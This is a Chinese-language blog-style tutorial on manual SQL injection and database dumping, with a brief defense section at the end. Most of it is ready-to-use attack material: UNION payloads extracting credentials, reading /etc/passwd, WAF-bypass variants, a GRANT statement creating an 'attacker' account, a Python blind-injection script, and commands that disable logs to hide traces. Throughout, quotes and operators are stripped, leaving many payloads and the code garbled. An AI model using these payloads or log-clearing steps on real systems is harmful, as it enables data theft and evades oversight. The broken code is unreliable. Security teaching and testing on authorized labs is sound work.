1. SQL注入实战入门从原理到手动脱库全解析第一次接触SQL注入是在大学的安全课上教授演示了如何通过一个简单的单引号让整个登录系统崩溃。当时我就被这种四两拨千斤的攻击方式震撼了——不需要复杂的工具仅凭构造特殊的输入就能直接访问数据库核心内容。十年过去了SQL注入依然是Web安全领域的头号威胁OWASP Top 10常年位居榜首。本文将带你从零开始通过实战视角理解SQL注入的本质掌握手动脱库的核心技巧并分享我在渗透测试中积累的典型避坑经验。2. SQL注入核心原理与漏洞识别2.1 SQL注入的本质与分类SQL注入的本质是数据与代码的混淆。当应用程序将用户输入直接拼接到SQL语句中执行时攻击者通过构造特殊输入使这些输入被解释为SQL代码而非普通数据。根据注入点数据类型主要分为数字型注入id1变为id1 or 11--字符型注入nameadmin变为nameadmin or 11--搜索型注入search%测试%变为search% and 1convert(int,(select table_name from information_schema.tables))--%关键区别字符型需要闭合引号数字型直接拼接逻辑表达式2.2 手工检测的六种经典手法在自动化工具泛滥的今天手工检测仍是资深安全工程师的必备技能单引号测试输入观察是否报错如MySQL的You have an error in your SQL syntax逻辑测试and 11正常返回and 12无结果延时检测; if (system_version like %10%) waitfor delay 0:0:5--报错注入 and updatexml(1,concat(0x7e,(select user()),0x7e),1)--堆叠查询; select sleep(5)--盲注特征布尔盲注and length(database())4时间盲注and if(ascii(substr(database(),1,1))100,sleep(3),0)3. 手动脱库实战全流程3.1 信息收集阶段假设目标URL为http://vuln.site/view.php?id1按以下步骤操作判断注入类型http://vuln.site/view.php?id1 and 11 # 正常 http://vuln.site/view.php?id1 and 12 # 异常 → 数字型注入获取基础信息/* 数据库版本 */ and 12 union select 1,version(),3,4-- /* 当前数据库 */ and 12 union select 1,database(),3,4-- /* 用户权限 */ and 12 union select 1,user(),3,4--3.2 数据结构探测获取所有表名MySQL示例and 12 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schemadatabase()--获取关键表字段假设发现users表and 12 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_nameusers--3.3 数据提取技巧常规导出and 12 union select 1,username,password,4 from users--大字段处理and 12 union select 1,substring(password,1,50),substring(password,51,100),4 from users where id1--文件导出需FILE权限 union select 1,load_file(/etc/passwd),3,4 into outfile /tmp/passwd--4. 高阶绕过与特殊场景处理4.1 WAF绕过实战技巧大小写混合aNd 11 uNioN sEleCt 1,2,3,4注释分割/*!and*/ 11 /*!union*/ /*!select*/ 1,2,3,4等价函数替换and extractvalue(1,concat(0x7e,user()))HTTP参数污染?id1id2 union select 1,2,3,44.2 不同数据库特性利用数据库特有函数注释语法系统表MySQLgroup_concat()-- 或 #information_schemaMSSQLstuff()--sys.objectsOraclelistagg()--all_tablesPostgreSQLstring_agg()--pg_catalog.pg_tables5. 手工脱库十大避坑指南编码陷阱URL编码问题需编码为%27双重编码场景%2527实际是单引号权限不足处理/* 尝试提升权限 */ ; grant all privileges on *.* to attacker% identified by pwd--数据截断应对使用substring()分段获取设置group_concat_max_len值盲注加速技巧# 二分法优化盲注 import requests url http://vuln.site/login.php payload admin and ascii(substr(database(),{},1)){}-- for i in range(1,10): low, high 0, 127 while low high: mid (lowhigh)//2 r requests.post(url, data{uname:payload.format(i,mid)}) if Welcome in r.text: low mid 1 else: high mid - 1 print(chr(high))日志清理备忘MySQLset global general_log offMSSQLEXEC sp_configure show advanced options, 1时间盲注误判网络延迟可能导致误判建议设置基准时间if(11,sleep(2),0)先测响应时间CSRF令牌处理先获取有效token再构造注入使用Burp Suite的Macro功能自动更新tokenJSON注入特殊处理{id:1 and 11-- } 需要闭合双引号二次注入识别注册时插入payload后续功能触发如修改资料时执行法律风险规避仅测试授权目标使用DVWA、SQLi-Labs等合法靶场练习6. 防御方案与检测手法6.1 开发层面防护参数化查询Java示例String query SELECT * FROM users WHERE id ?; PreparedStatement stmt conn.prepareStatement(query); stmt.setInt(1, userId);输入过滤白名单验证如只允许数字转义特殊字符mysql_real_escape_string()最小权限原则CREATE USER webuserlocalhost IDENTIFIED BY password; GRANT SELECT ON app_db.* TO webuserlocalhost;6.2 运维层面加固WAF规则示例ModSecuritySecRule ARGS detectSQLi id:1000,phase:2,deny数据库审计-- MySQL审计插件 INSTALL PLUGIN audit_log SONAME audit_log.so;错误信息处理生产环境关闭详细错误自定义错误页面在真实渗透测试中我遇到最棘手的案例是一个使用自定义过滤规则的电商网站。它过滤了所有常见关键词但遗漏了||运算符最终通过admin||11成功绕过。这种经验告诉我永远要多角度尝试非常规payload有时候最基础的技巧反而最有效。